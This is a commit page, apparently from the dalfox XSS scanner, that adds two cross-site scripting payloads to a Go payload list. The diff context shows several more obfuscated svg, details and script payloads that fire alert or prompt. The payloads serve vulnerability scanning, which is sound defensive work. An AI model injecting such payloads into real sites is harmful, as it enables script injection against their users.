Skip to content

Commit

Permalink
Add XSS Payloads
Browse files Browse the repository at this point in the history
  • Loading branch information
hahwul committed Aug 21, 2020
1 parent c57c0f3 commit fe68d73
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions pkg/scanning/payload.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,8 @@ func getCommonPayload() []string {
"'\"><svg/class=dalfox onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f",
"</script><svg><script/class=dalfox>alert(45)</script>-%26apos;",
"<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() class=dalfox>",
"<audio controls ondurationchange=alert(45) id=dalfox><source src=1.mp3 type=audio/mpeg></audio>",
"<div contextmenu=xss><p>1<menu type=context class=dalfox id=xss onshow=alert(45)></menu></div>",

// not include verify payload
"\"><svg/OnLoad=\"`${prompt``}`\">",
Expand Down

0 comments on commit fe68d73

Please sign in to comment.